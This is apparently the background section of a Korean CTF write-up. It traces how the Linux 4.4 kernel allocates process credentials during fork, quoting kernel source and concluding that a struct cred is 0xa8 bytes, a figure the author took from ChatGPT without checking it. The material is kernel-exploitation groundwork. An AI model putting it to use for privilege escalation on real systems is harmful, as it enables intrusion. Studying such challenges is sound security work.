// https://elixir.bootlin.com/linux/v4.4.72/source/kernel/cred.c#L229

struct cred *prepare_creds(void)
{
	struct task_struct *task = current;
	const struct cred *old;
	struct cred *new;

	validate_process_creds();

	new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
	if (!new)
		return NULL;

	kdebug("prepare_creds() alloc %p", new);

	old = task->cred;
	memcpy(new, old, sizeof(struct cred));

	atomic_set(&new->usage, 1);
	set_cred_subscribers(new, 0);
	get_group_info(new->group_info);
	get_uid(new->user);
	get_user_ns(new->user_ns);

#ifdef CONFIG_KEYS
	key_get(new->session_keyring);
	key_get(new->process_keyring);
	key_get(new->thread_keyring);
	key_get(new->request_key_auth);
#endif

#ifdef CONFIG_SECURITY
	new->security = NULL;
#endif

	if (security_prepare_creds(new, old, GFP_KERNEL) < 0)
		goto error;
	validate_creds(new);
	return new;

error:
	abort_creds(new);
	return NULL;
}
EXPORT_SYMBOL(prepare_creds);

current->creds를 memcpy를 통해서 new로 복사하는 것을 알 수 있다.

위의 커널 코드를 분석을 하고 나서 알 수 있는 점은 현재 프로세스의 creds를 참고해서 새로운 프로세스의 creds를 생성한다는 것이다.

system함수가 프로세스를 만들기 전 fork에서 creds가 어떻게 준비되는지

// /kernel/fork.c
// https://elixir.bootlin.com/linux/v4.4.72/source/kernel/fork.c#L1819

#ifdef __ARCH_WANT_SYS_FORK
SYSCALL_DEFINE0(fork)
{
#ifdef CONFIG_MMU
	return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
#else
	/* can not support in nommu mode */
	return -EINVAL;
#endif
}
#endif

_do_fork를 부른다.

// /kernel/fork.c
// https://elixir.bootlin.com/linux/v4.4.72/source/kernel/fork.c#L1724

long _do_fork(unsigned long clone_flags,
	      unsigned long stack_start,
	      unsigned long stack_size,
	      int __user *parent_tidptr,
	      int __user *child_tidptr,
	      unsigned long tls)
{
	struct task_struct *p;
	int trace = 0;
	long nr;

	/*
	 * Determine whether and which event to report to ptracer.  When
	 * called from kernel_thread or CLONE_UNTRACED is explicitly
	 * requested, no event is reported; otherwise, report if the event
	 * for the type of forking is enabled.
	 */
	if (!(clone_flags & CLONE_UNTRACED)) {
		if (clone_flags & CLONE_VFORK)
			trace = PTRACE_EVENT_VFORK;
		else if ((clone_flags & CSIGNAL) != SIGCHLD)
			trace = PTRACE_EVENT_CLONE;
		else
			trace = PTRACE_EVENT_FORK;

		if (likely(!ptrace_event_enabled(current, trace)))
			trace = 0;
	}

	p = copy_process(clone_flags, stack_start, stack_size,
			 child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
	/*
	 * Do this prior waking up the new thread - the thread pointer
	 * might get invalid after that point, if the thread exits quickly.
	 */
	if (!IS_ERR(p)) {
		struct completion vfork;
		struct pid *pid;

		trace_sched_process_fork(current, p);

		pid = get_task_pid(p, PIDTYPE_PID);
		nr = pid_vnr(pid);

		if (clone_flags & CLONE_PARENT_SETTID)
			put_user(nr, parent_tidptr);

		if (clone_flags & CLONE_VFORK) {
			p->vfork_done = &vfork;
			init_completion(&vfork);
			get_task_struct(p);
		}

		wake_up_new_task(p);

		/* forking complete and child started to run, tell ptracer */
		if (unlikely(trace))
			ptrace_event_pid(trace, pid);

		if (clone_flags & CLONE_VFORK) {
			if (!wait_for_vfork_done(p, &vfork))
				ptrace_event_pid(PTRACE_EVENT_VFORK_DONE, pid);
		}

		put_pid(pid);
	} else {
		nr = PTR_ERR(p);
	}
	return nr;
}

copy_process를 부른다.

// /kernel/fork.c
// https://elixir.bootlin.com/linux/v4.4.72/source/kernel/fork.c#L1268

static struct task_struct *copy_process(unsigned long clone_flags,
					unsigned long stack_start,
					unsigned long stack_size,
					int __user *child_tidptr,
					struct pid *pid,
					int trace,
					unsigned long tls,
					int node)
{
	int retval;
	struct task_struct *p;
	void *cgrp_ss_priv[CGROUP_CANFORK_COUNT] = {};

  ...

  p = dup_task_struct(current, node);
	if (!p)
		goto fork_out;

	ftrace_graph_init_task(p);

	rt_mutex_init_task(p);

 #ifdef CONFIG_PROVE_LOCKING
	DEBUG_LOCKS_WARN_ON(!p->hardirqs_enabled);
	DEBUG_LOCKS_WARN_ON(!p->softirqs_enabled);
 #endif
	retval = -EAGAIN;
	if (atomic_read(&p->real_cred->user->processes) >=
			task_rlimit(p, RLIMIT_NPROC)) {
		if (p->real_cred->user != INIT_USER &&
		    !capable(CAP_SYS_RESOURCE) && !capable(CAP_SYS_ADMIN))
			goto bad_fork_free;
	}
	current->flags &= ~PF_NPROC_EXCEEDED;

	retval = copy_creds(p, clone_flags);
	if (retval < 0)
		goto bad_fork_free;

  ...
}

copy_creds를 부른다.

// /kernel/cred.c
// https://elixir.bootlin.com/linux/v4.4.72/source/kernel/cred.c#L322

int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
	struct cred *new;
	int ret;

	if (
#ifdef CONFIG_KEYS
		!p->cred->thread_keyring &&
#endif
		clone_flags & CLONE_THREAD
	    ) {
		p->real_cred = get_cred(p->cred);
		get_cred(p->cred);
		alter_cred_subscribers(p->cred, 2);
		kdebug("share_creds(%p{%d,%d})",
		       p->cred, atomic_read(&p->cred->usage),
		       read_cred_subscribers(p->cred));
		atomic_inc(&p->cred->user->processes);
		return 0;
	}

	new = prepare_creds();
	if (!new)
		return -ENOMEM;

	if (clone_flags & CLONE_NEWUSER) {
		ret = create_user_ns(new);
		if (ret < 0)
			goto error_put;
	}

#ifdef CONFIG_KEYS
	/* new threads get their own thread keyrings if their parent already
	 * had one */
	if (new->thread_keyring) {
		key_put(new->thread_keyring);
		new->thread_keyring = NULL;
		if (clone_flags & CLONE_THREAD)
			install_thread_keyring_to_cred(new);
	}

	/* The process keyring is only shared between the threads in a process;
	 * anything outside of those threads doesn't inherit.
	 */
	if (!(clone_flags & CLONE_THREAD)) {
		key_put(new->process_keyring);
		new->process_keyring = NULL;
	}
#endif

	atomic_inc(&new->user->processes);
	p->cred = p->real_cred = get_cred(new);
	alter_cred_subscribers(new, 2);
	validate_creds(new);
	return 0;

error_put:
	put_cred(new);
	return ret;
}

prepare_creds를 부른다. 다시 보자

// /kernel/crd.c
// https://elixir.bootlin.com/linux/v4.4.72/source/kernel/cred.c#L243

struct cred *prepare_creds(void)
{
	struct task_struct *task = current;
	const struct cred *old;
	struct cred *new;

	validate_process_creds();

	new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
	if (!new)
		return NULL;

	kdebug("prepare_creds() alloc %p", new);

	old = task->cred;
	memcpy(new, old, sizeof(struct cred));

	atomic_set(&new->usage, 1);
	set_cred_subscribers(new, 0);
	get_group_info(new->group_info);
	get_uid(new->user);
	get_user_ns(new->user_ns);

#ifdef CONFIG_KEYS
	key_get(new->session_keyring);
	key_get(new->process_keyring);
	key_get(new->thread_keyring);
	key_get(new->request_key_auth);
#endif

#ifdef CONFIG_SECURITY
	new->security = NULL;
#endif

	if (security_prepare_creds(new, old, GFP_KERNEL) < 0)
		goto error;
	validate_creds(new);
	return new;

error:
	abort_creds(new);
	return NULL;
}
EXPORT_SYMBOL(prepare_creds);

kmem_cache_alloc으로 할당을 하고 있다.

이는 인자로 캐시핸들을 받는다.

cred_jar을 받는데 이는 전역변수로 creds 모듈이 로드됟 때 아래와 같이 생성된다.

cred_jar를 생성할 때 kmem_cache_create을 이용하는데 size를 cred의 크기만큼 받는다.

// /kernel/cred.c
// https://elixir.bootlin.com/linux/v4.4.72/source/kernel/cred.c#L572

void __init cred_init(void)
{
	/* allocate a slab in which we can store credentials */
	cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
				     0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
}

// /include/linux/cred.h
// https://elixir.bootlin.com/linux/v4.4.72/source/include/linux/cred.h#L118

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	struct rcu_head	rcu;		/* RCU deletion hook */
};

chatgpt한테 물어보니 약 0xa8 바이트라고 한다.

UID랑 GID랑 무슨 차이일까? User ID랑 Group ID 이다. 전부 0이면 root이다.

이렇게 fork할 때 할당되는 creds 크기를 0xa8이라는 것을 알 수 있다.

느낀점

재미있다

참고자료

Writeup: https://mudongliang.github.io/2022/01/18/ciscn2017-babydriver.html

kernel creds: https://ir0nstone.gitbook.io/notes/binexp/kernel/the-ultimate-aim-of-kernel-exploitation-process-credentials

문제 풀기#

문제 분석#

Exploit#

Exploit 설명#

증명#

system함수가 creds를 가지고 어떻게 프로세스를 만드는지#

system함수가 프로세스를 만들기 전 fork에서 creds가 어떻게 준비되는지#

느낀점#

참고자료#